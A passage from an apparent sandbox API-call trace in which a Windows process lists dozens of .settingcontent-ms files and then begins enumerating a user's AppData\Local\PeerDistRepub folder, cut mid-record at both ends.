ftLastWriteTime.dwLowDateTime=0x231f666f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{54692DB7-FC98-4D5E-AC15-CC5095FA5669}.settingcontent-ms", cAlternateFileName="CL52F5~1.SET")) returned 1 [0218.534] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e0fac96, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6e0fac96, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x22145f46, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{54D8069E-E75A-4437-B45B-8EB3B8C97434}.settingcontent-ms", cAlternateFileName="CLEAA9~1.SET")) returned 1 [0218.534] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e716af9, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6e716af9, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23052c93, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5530E8CC-1B9E-4798-A880-BA719ADFBBBD}.settingcontent-ms", cAlternateFileName="CL8AEA~1.SET")) returned 1 [0218.535] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeb0309, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6eeb0309, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224d97aa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{58e3c745-d971-4081-9034-86e34b30836a}.settingcontent-ms", cAlternateFileName="CL17D4~1.SET")) returned 1 [0218.535] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5d722b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6f5d722b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23183f67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5902614C-D9C7-4902-9F7F-BAF85454D0B2}.settingcontent-ms", cAlternateFileName="CL97C2~1.SET")) returned 1 [0218.535] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7008, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6fba7008, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23183f67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5A2C0E5E-5974-4E44-B4C6-AD4C2B6BAF53}.settingcontent-ms", cAlternateFileName="CL4596~1.SET")) returned 1 [0218.535] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a67815, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70a67815, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5BB16858-F647-465E-BCFD-010EE9DD41B7}.settingcontent-ms", cAlternateFileName="CL3386~1.SET")) returned 1 [0218.536] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71679579, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x71679579, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231d0415, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5D461B44-2753-4DD7-B2C0-BAB71B1F4C1A}.settingcontent-ms", cAlternateFileName="CLCBC2~1.SET")) returned 1 [0218.536] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e855e0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x71e855e0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2328efd5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5D611F64-7985-459B-BDFF-AEC069CB2625}.settingcontent-ms", cAlternateFileName="CLA931~1.SET")) returned 1 [0218.537] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x737b42b8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x737b42b8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224b3550, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5DD91132-02E8-43F6-88BD-E50B7BE2EF29}.settingcontent-ms", cAlternateFileName="CL44A0~1.SET")) returned 1 [0218.537] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c9f0fd, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c9f0fd, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5DE5B491-2CEA-4AD9-824A-982A22C0B64E}.settingcontent-ms", cAlternateFileName="CL5DD0~1.SET")) returned 1 [0218.538] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb5361, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73eb5361, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23137ab2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x371, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5ea4f148-308c-46d7-98a9-49041b1dd468}.settingcontent-ms", cAlternateFileName="CL8DAC~1.SET")) returned 1 [0218.538] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7400c6b5, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7400c6b5, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x220f9a95, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{60AC7FA0-A928-4D45-B4DD-AC70A6175E67}.settingcontent-ms", cAlternateFileName="CL806F~1.SET")) returned 1 [0218.538] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7432d935, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7432d935, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2227720e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{60C811E8-C857-404E-98BB-EE5D83C1DF5A}.settingcontent-ms", cAlternateFileName="CL44C6~1.SET")) returned 1 [0218.538] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74543940, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x74543940, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x22145f46, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x33d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{62d8ed13-c9d0-4ce8-a914-47dd628fb1b0}.settingcontent-ms", cAlternateFileName="CLA744~1.SET")) returned 1 [0218.538] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7470d604, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7470d604, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231d0415, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{638f8e21-e157-40d7-97e0-a0c8e4c4e2b5}.settingcontent-ms", cAlternateFileName="CL0AAF~1.SET")) returned 1 [0218.539] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74864cb7, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x74864cb7, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{63929D0B-AAAC-4DCA-AE8A-222EC37F7A88}.settingcontent-ms", cAlternateFileName="CL53B7~1.SET")) returned 1 [0218.539] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ac7152, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x74ac7152, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x221b864e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x441, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{641102EF-6463-46E9-842D-176013D7ACC8}.settingcontent-ms", cAlternateFileName="CL40A3~1.SET")) returned 1 [0218.539] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74c6aa36, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x74c6aa36, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2328efd5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{6775CCA4-CC42-44F7-800C-4E94FF1EA8C0}.settingcontent-ms", cAlternateFileName="CL7C48~1.SET")) returned 1 [0218.539] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74e0e5c8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x74e0e5c8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23052c93, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{67ca7650-96e6-4fdd-bb43-a8e774f73a57}.settingcontent-ms", cAlternateFileName="CLC6CA~1.SET")) returned 1 [0218.539] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75024827, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x75024827, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x22335dcf, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="classic_{685e7dc2-db57-4ed0-8b6d-5fe44d78d4f0}.settingcontent-ms", cAlternateFileName="CL96AE~1.SET")) returned 1 [0218.540] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7549ca84, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7549ca84, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x230c53a3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{68F4F33C-658C-4278-94C1-22B8E653F3E8}.settingcontent-ms", cAlternateFileName="CL6216~1.SET")) returned 1 [0218.540] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75856614, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x75856614, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2222ad59, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x39b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{693E4EF4-9060-469B-AB2E-948B6B68A883}.settingcontent-ms", cAlternateFileName="CL499A~1.SET")) returned 1 [0218.540] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75dd9b90, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x75dd9b90, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2328efd5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{693E4EF5-9060-469B-AB2E-948B6B68A883}.settingcontent-ms", cAlternateFileName="CLF161~1.SET")) returned 1 [0218.540] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75f57447, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x75f57447, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231d0415, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{6A10BC7B-2586-4B57-A5AA-C14BDE743DC4}.settingcontent-ms", cAlternateFileName="CLA1B0~1.SET")) returned 1 [0218.540] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x761472c9, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x761472c9, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{6AE88B06-50B2-46B0-93EA-4B5C73D3A0B5}.settingcontent-ms", cAlternateFileName="CL6D49~1.SET")) returned 1 [0218.541] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x763a9868, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x763a9868, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{6CA1F1CE-1FED-4D96-A82E-08CEDB139AA3}.settingcontent-ms", cAlternateFileName="CLE661~1.SET")) returned 1 [0218.541] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x767895f0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x767895f0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x232db48a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{6CBA2898-2EFE-4604-9933-F1F64DAE2A32}.settingcontent-ms", cAlternateFileName="CLE4AD~1.SET")) returned 1 [0218.542] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a5e2f9, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x76a5e2f9, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231d0415, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{6dfd7c5c-2451-11d3-a299-00c04f8ef6af}.settingcontent-ms", cAlternateFileName="CLBD5D~1.SET")) returned 1 [0218.542] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77007c79, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77007c79, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23183f67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{71D0780F-10D2-459C-983B-94A642161220}.settingcontent-ms", cAlternateFileName="CLF8F5~1.SET")) returned 1 [0218.542] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773c1775, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x773c1775, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2315dd0d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{725be8f7-668e-4c7b-8f90-46bdb0936430}.settingcontent-ms", cAlternateFileName="CL2891~1.SET")) returned 1 [0218.542] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7806bf0e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7806bf0e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x22204b03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{73C9C58C-2E01-4F68-B1B9-7A4DD2EF71F7}.settingcontent-ms", cAlternateFileName="CLEA27~1.SET")) returned 1 [0218.542] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b4c815, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x78b4c815, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x230c53a3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{7429F4F9-AE58-401a-82AD-723F3C6BDDD6}.settingcontent-ms", cAlternateFileName="CL6104~1.SET")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7937ec51, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7937ec51, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x220f9a95, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{75AC9145-7EC9-4883-82A7-AD3429020AA0}.settingcontent-ms", cAlternateFileName="CL543D~1.SET")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c23223, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x79c23223, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224d97aa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{76F31A78-3FDA-4F80-B015-95CFD81463AD}.settingcontent-ms", cAlternateFileName="CL2BEC~1.SET")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b800a93, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7b800a93, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23052c93, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{7a4d0c5d-51ad-443e-87c7-66b757586c56}.settingcontent-ms", cAlternateFileName="CL0E63~1.SET")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b90bbb9, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7b90bbb9, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2216c19d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{7ABBE8E6-757F-419A-B2E0-07D5694F8E0F}.settingcontent-ms", cAlternateFileName="CL2DE9~1.SET")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7cc4f4, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7c7cc4f4, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x232b5237, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x49f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{7C3E0552-96E2-4069-AC1C-208C146683CA}.settingcontent-ms", cAlternateFileName="CL1958~1.SET")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c995f72, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7c995f72, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x230eb5fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{7D13A5DB-6081-48BD-8EA3-A9D7FE67A335}.settingcontent-ms", cAlternateFileName="CL5964~1.SET")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ec7467e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7ec7467e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x223a84da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{7DE6CF7C-B699-421B-A808-139E798E6C64}.settingcontent-ms", cAlternateFileName="CL4EAD~1.SET")) returned 1 [0220.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0220.419] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\PeerDistRepub", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\PeerDistRepub", lpFilePart=0x0) returned 0x31 [0220.419] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\PeerDistRepub\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\peerdistrepub\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73f4dcd0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73f4dcd0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73f4dcd0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0220.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0220.425] GetFullPathNameW (in: 